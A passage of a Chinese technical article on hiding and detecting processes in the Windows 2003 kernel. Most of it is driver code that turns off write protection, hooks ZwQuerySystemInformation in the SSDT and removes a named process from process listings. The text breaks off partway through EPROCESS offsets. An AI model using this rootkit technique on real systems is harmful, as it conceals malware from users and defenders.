计算机应用 | 古代文学 | 市场营销 | 生命科学 | 交通物流 | 财务管理 | 历史学 | 毕业 | 哲学 | 政治 | 财税 | 经济 | 金融 | 审计 | 法学 | 护理学 | 国际经济与贸易
计算机软件 | 新闻传播 | 电子商务 | 土木工程 | 临床医学 | 旅游管理 | 建筑学 | 文学 | 化学 | 数学 | 物理 | 地理 | 理工 | 生命 | 文化 | 企业管理 | 电子信息工程
计算机网络 | 语言文学 | 信息安全 | 工程力学 | 工商管理 | 经济管理 | 计算机 | 机电 | 材料 | 医学 | 药学 | 会计 | 硕士 | 法律 | MBA
现当代文学 | 英美文学 | 通讯工程 | 网络工程 | 行政管理 | 公共管理 | 自动化 | 艺术 | 音乐 | 舞蹈 | 美术 | 本科 | 教育 | 英语 |

Windows2003 内核级进程隐藏、侦测技术(4)

2013-08-09 01:05
导读:BasePriority; //线程的缺省优先级 ULONG ProcessId; //进程ID号 ULONG InheritedFromProcessId; //继承语柄的进程ID号 ULONG HandleCount; //进程打开的语柄数量 ULONG Reserved2[2];
BasePriority;         //线程的缺省优先级

    ULONG ProcessId;                //进程ID号

    ULONG InheritedFromProcessId;  //继承语柄的进程ID号

    ULONG HandleCount;              //进程打开的语柄数量   

    ULONG Reserved2[2];             // 

    VM_COUNTERS VmCounters;         //虚拟内存的使用情况

    IO_COUNTERS IoCounters;         //IO操作的统计,Only For 2000

    struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组

};

  当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。

  4. 核心实现

//系统服务表入口地址

extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

{

    ……

    __asm{

        mov eax, cr0

        mov CR0VALUE, eax

        and eax, 0fffeffffh //DisableWriteProtect

        mov cr0, eax

    }

    //取得原来ZwQuerySystemInformation的入口地址

RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );

    //Hook

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;

    //EnableWriteProtect

    __asm

    {

        mov eax, CR0VALUE

        mov cr0, eax

    }

    ……

    return STATUS_SUCCESS;

}

  

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)

{

    ……

    //UnHook恢复系统服务的原始入口地址

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;

    ……

}

  

NTSTATUS HookFunc(

        IN ULONG SystemInformationClass,

        IN PVOID SystemInformation,

        IN ULONG SystemInformationLength,

        OUT PULONG ReturnLength)

{

    NTSTATUS rc;

    struct _SYSTEM_PROCESSES *curr;

    // 保存上一个进程信息的指针

    struct _SYSTEM_PROCESSES *prev = NULL;

    //调用原函数

    rc = (RealZwQuerySystemInformation) (

        SystemInformationClass,

        SystemInformation,

        SystemInformationLength, ReturnLength);

    if(NT_SUCCESS(rc))

    {

if(5 == SystemInformationClass)

//如果系统查询类型是SystemProcessesAndThreadsInformation

        {

            curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

            //加第一个偏移量得到第一个system进程的信息首地址

            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

            while(curr)

            {

if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)

                {

                    //找到要隐藏的进程

                    if(prev)

                    {

                       

                        if(curr->NextEntryDelta)

                        {

                            //要删除的信息在中间

                            prev->NextEntryDelta += curr->NextEntryDelta;

                        }

                        else

                        {

                            //要删除的信息在末尾

                            prev->NextEntryDelta = 0;

                        }

                    }

                    else

                    {

                        if(curr->NextEntryDelta)

                        {

                            //要删除的信息在开头

                            (char *)SystemInformation += curr->NextEntryDelta;

                        }

                        else

                        {

                            SystemInformation = NULL;

                        }

                    }

                    //如果链下一个还有其他的进程信息,指针往后移

                    if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);                    else

                    {

                        curr = NULL;

                        break;

                    }

                }

                if(curr != NULL)

                {

                    //把当前指针设置成前一个指针,当前指针后移

                    prev = curr;

                    if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);

                    else curr = NULL;

                }

            } // end while(curr)

        }

    }

    return rc;

}

  通过IOCTL和Ring3级的应用程序通过DeviceIoControl(API)交互信息。Ring3级的用户程序使用,

  DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,

  NULL,0,& BytesReturned,NULL)来通知驱动程序要隐藏的进程的名字。

  枚举和修改活动进程链表来检测和隐藏进程

  1. 介绍EPROCESS块(进程执行块)

  每个进程都由一个EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。  

  2. 查看EPROCESS结构

kd> !processfields

!processfields

 EPROCESS structure offsets:

    Pcb:                               0x0

    ExitStatus:                        0x6c

    LockEvent:                         0x70

    LockCount:                         0x80

    CreateTime:                        0x88

    ExitTim

上一篇:工业计算机等级考试对实验教学改革的影响 下一篇:没有了